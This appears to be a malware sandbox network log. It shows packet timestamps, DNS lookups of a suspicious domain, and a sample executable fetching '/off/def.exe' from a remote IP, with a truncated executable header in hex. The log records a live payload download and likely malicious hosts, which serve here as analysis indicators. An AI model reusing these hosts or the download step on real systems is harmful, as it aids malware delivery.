Dec 24, 2024 12:40:26.878551960 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.879551888 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.879615068 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.879654884 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.879709005 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.880645037 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.880712986 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.880794048 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.881671906 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.881735086 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.881740093 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.881792068 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.882703066 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.882765055 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.882819891 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.882889986 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.883770943 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.883917093 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.883984089 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.884852886 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.884908915 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.884953022 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.885003090 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.885961056 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.886106014 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.886167049 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.887038946 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.887095928 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.887176037 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.887268066 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.888150930 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.888207912 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.888243914 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.888294935 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.889189959 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.889246941 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.889349937 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.889398098 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.890336990 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.890463114 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.890516996 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.891346931 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.891401052 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.891472101 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.891525030 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.892401934 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.892453909 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.892657042 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.892710924 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.893496037 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.893548012 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.893651009 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.893711090 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.894610882 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.894663095 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.894706964 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.894834042 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.895689964 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.895746946 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.895773888 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.895827055 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.896771908 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.896796942 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.896826029 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.896850109 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.996814966 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.996830940 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.996938944 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.997041941 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.997154951 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.997253895 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.998171091 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.998229027 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.998239040 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.998286009 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.998980999 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.998997927 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:26.999037981 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.999063969 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:26.999989986 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.000049114 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.000058889 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.000109911 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.001076937 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.001094103 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.001132011 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.001161098 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.002232075 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.002250910 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.002286911 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.002312899 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.003258944 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.003276110 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.003319025 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.003339052 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.004278898 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.004332066 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.004435062 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.004487038 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.005738974 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.005786896 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.005794048 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.005831957 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.006453991 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.006480932 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.006506920 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.006527901 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.007558107 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.007613897 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.007632017 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.007708073 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.008609056 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.008661985 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.008752108 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.008795977 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.009901047 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.009913921 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.009951115 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.009973049 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.010811090 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.010868073 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.010891914 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.010941029 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.011997938 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.012026072 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.012058973 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.012073994 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.012959003 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.013015032 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.013063908 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.013113022 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.014048100 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.014064074 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.014117956 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.014117956 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.015124083 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.015178919 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.015227079 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.015280008 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.016160965 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.016217947 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.016293049 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.016369104 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.017222881 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.017282009 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.017334938 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.017385960 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.018323898 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.018381119 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.018464088 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.018520117 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.019402981 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.019463062 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.019504070 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.019552946 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.020498991 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.020556927 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.020586967 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.020637989 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.021603107 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.021657944 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.021668911 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.021733046 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.022700071 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.022731066 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.022753954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.022778034 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.023710012 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.023768902 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.023808002 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.023852110 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.024805069 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.024861097 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.024874926 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.024925947 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.025870085 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.025927067 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.025965929 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.026015997 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.026927948 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.026978970 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.027040958 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.027092934 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.028044939 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.028103113 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.028141022 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.028191090 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.029063940 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.029124022 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.029169083 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.029222012 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.030199051 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.030261040 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.066453934 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.066541910 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.066590071 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.066663980 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.119417906 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.119452953 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.119482994 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.119527102 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.119955063 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.120007038 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.120086908 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.120135069 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.121032000 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.121094942 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.121131897 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.121189117 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.122123003 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.122180939 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.122224092 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.122292042 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.123208046 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.123261929 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.123290062 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.123356104 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.124264002 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.124330044 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.124376059 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.124423981 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.125329971 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.125376940 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.125391006 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.125426054 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.126426935 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.126487970 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.126526117 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.126580954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.127533913 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.127608061 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.127638102 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.127685070 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.128597975 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.128653049 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.128696918 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.128751040 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.129668951 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.129720926 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.129816055 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.129890919 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.130763054 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.130799055 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.130816936 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.130856037 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.131823063 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.131881952 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.131970882 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.132025003 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.132884979 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.132949114 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.133136988 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.133194923 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.133965015 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.134067059 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.134121895 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.135052919 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.135109901 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.135216951 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.135268927 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.136125088 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.136173010 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.136185884 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.136218071 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.137234926 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.137290001 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.137312889 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.137356043 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.138281107 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.138395071 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.138406992 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.138477087 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.139355898 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.139414072 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.139548063 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.139605045 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.140419006 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.140474081 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.140562057 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.140645981 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:27.141506910 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.141613960 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:27.141670942 CET	49868	80	192.168.2.5	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 12:39:06.010471106 CET	192.168.2.5	1.1.1.1	0x2edd	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:55.144347906 CET	192.168.2.5	1.1.1.1	0x99e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:55.144891977 CET	192.168.2.5	1.1.1.1	0x6411	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 24, 2024 12:40:02.124073982 CET	192.168.2.5	1.1.1.1	0xff9c	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:40:02.124396086 CET	192.168.2.5	1.1.1.1	0x8a0b	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 24, 2024 12:40:03.057645082 CET	192.168.2.5	1.1.1.1	0xe60	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:40:03.057862997 CET	192.168.2.5	1.1.1.1	0xddb0	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 12:39:06.147759914 CET	1.1.1.1	192.168.2.5	0x2edd	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:06.147759914 CET	1.1.1.1	192.168.2.5	0x2edd	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:55.281855106 CET	1.1.1.1	192.168.2.5	0x6411	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 24, 2024 12:39:55.284997940 CET	1.1.1.1	192.168.2.5	0x99e	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:40:02.265594006 CET	1.1.1.1	192.168.2.5	0x8a0b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 12:40:02.266170979 CET	1.1.1.1	192.168.2.5	0xff9c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 24, 2024 12:40:02.266170979 CET	1.1.1.1	192.168.2.5	0xff9c	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:40:03.197206020 CET	1.1.1.1	192.168.2.5	0xe60	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49727	185.215.113.16	80	2360	C:\Users\user\Desktop\iUKUR1nUyD.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 12:39:26.115237951 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 24, 2024 12:39:27.451133013 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 24 Dec 2024 11:39:26 GMT Content-Type: application/octet-stream Content-Length: 2860544 Last-Modified: Tue, 24 Dec 2024 10:56:24 GMT Connection: keep-alive ETag: "676a9358-2ba600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 6d 3a 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,m:,`Ui`D @ @ 